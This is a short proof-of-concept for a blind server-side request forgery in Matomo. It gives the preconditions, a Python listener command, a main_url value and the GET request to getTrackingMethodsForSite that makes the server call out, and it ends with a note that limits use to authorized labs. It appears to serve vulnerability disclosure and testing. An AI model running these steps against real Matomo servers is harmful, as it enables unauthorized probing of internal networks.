# Matomo Blind SSRF PoC

## Preconditions

- Authenticated Matomo site administrator can configure `main_url`.
- Authenticated user with view permission can trigger `getTrackingMethodsForSite`.
- `enable_internet_features` is enabled.
- A controlled internal listener is available.
- Authorized test environment.

## Controlled Listener

```bash
python3 -m http.server 8088
```

## Configure `main_url`

Set the Matomo site's main URL to:

```text
http://<controlled-internal-listener>:8088/ssrf-test
```

## Trigger

```http
GET /index.php?module=SitesManager&action=getTrackingMethodsForSite&idSite=1
```

## Expected Result

The controlled listener receives a server-side HTTP request from the Matomo server.

## Safety Note

This PoC should only be used in an authorized lab or customer-approved environment. Do not target cloud metadata endpoints, third-party internal services, or systems you do not own or have permission to test.